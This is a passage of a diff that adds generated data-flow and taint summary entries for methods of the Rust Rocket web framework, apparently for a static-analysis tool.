"dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file_mut", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file_mut", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::path", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::fs::server::FileServer::options]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "Argument[self].Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "ReturnValue.Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::open", "Argument[self].Field[crate::fs::temp_file::TempFile::Buffered::content].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::path", "Argument[self].Field[crate::fs::temp_file::TempFile::File::path]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_name", "Argument[self].Reference.Field[crate::fs::temp_file::TempFile::File::file_name]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::local::asynchronous::client::Client::tracked]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_rocket", "Argument[self].Field[crate::local::asynchronous::client::Client::rocket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_body_mut", "Argument[self].Field[crate::local::asynchronous::request::LocalRequest::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_request", "Argument[self].Field[crate::local::asynchronous::request::LocalRequest::request]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_request_mut", "Argument[self].Field[crate::local::asynchronous::request::LocalRequest::request]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::local::asynchronous::request::LocalRequest::client]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::private_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_response", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_test", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[crate::local::blocking::client::Client::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::local::blocking::request::LocalRequest::client]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::private_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::blocking::response::LocalResponse::inner].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_mut", "Argument[self].Reference.Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_mut", "Argument[self].Reference.Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_mut", "Argument[self].Reference.Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self].Reference.Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self].Reference.Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self].Reference.Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::expect", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::failed", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forwarded", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::log_display", "Argument[self]", "ReturnValue.Field[crate::outcome::Display(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[0].ReturnValue", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[0].ReturnValue", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::succeeded", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or_else", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or_else", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::unwrap", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_state_ref", "Argument[self]", "ReturnValue.Field[crate::phase::StateRef::Build(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_state", "Argument[self]", "ReturnValue.Field[crate::phase::State::Build(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_state_ref", "Argument[self]", "ReturnValue.Field[crate::phase::StateRef::Ignite(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_state", "Argument[self]", "ReturnValue.Field[crate::phase::State::Ignite(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_state_ref", "Argument[self]", "ReturnValue.Field[crate::phase::StateRef::Orbit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_state", "Argument[self]", "ReturnValue.Field[crate::phase::State::Orbit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::client_ip", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies_mut", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::headers", "Argument[self].Field[crate::request::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::rocket]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::request::request::Request::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self].Field[crate::request::request::Request::connection].Field[crate::request::request::ConnectionMeta::remote]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rocket", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::rocket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_uri", "Argument[0]", "Argument[self].Field[crate::request::request::Request::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::uri", "Argument[self].Field[crate::request::request::Request::uri]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::max_chunk_size", "Argument[self].Field[crate::response::body::Body::max_chunk]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::preset_size", "Argument[self].Field[crate::response::body::Body::size]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_max_chunk_size", "Argument[0]", "Argument[self].Field[crate::response::body::Body::max_chunk]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_sized", "Argument[1]", "ReturnValue.Field[crate::response::body::Body::size]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::debug::Debug(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::kind]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::message]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::kind", "Argument[self].Field[crate::response::flash::Flash::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::message", "Argument[self].Field[crate::response::flash::Flash::message]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::warning", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::max_chunk_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "Argument[self].Field[crate::response::response::Builder::response].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "ReturnValue.Field[crate::response::response::Builder::response].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::response::Builder::response]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::sized_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::streamed_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self].Field[crate::response::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body_mut", "Argument[self].Field[crate::response::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::build_from", "Argument[0]", "ReturnValue.Field[crate::response::response::Builder::response]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::headers", "Argument[self].Field[crate::response::response::Response::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[0].Field[crate::response::response::Response::body]", "Argument[self].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[0].Field[crate::response::response::Response::status]", "Argument[self].Field[crate::response::response::Response::status]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "Argument[self].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_status", "Argument[0]", "Argument[self].Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::tagged_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::bytes::ByteStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::one::One(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_next", "Argument[self].Field[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::reader::ReaderStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::event", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::retry", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::Event::retry].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_comment", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_retry", "Argument[0]", "Argument[self].Field[crate::response::stream::sse::Event::retry].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", 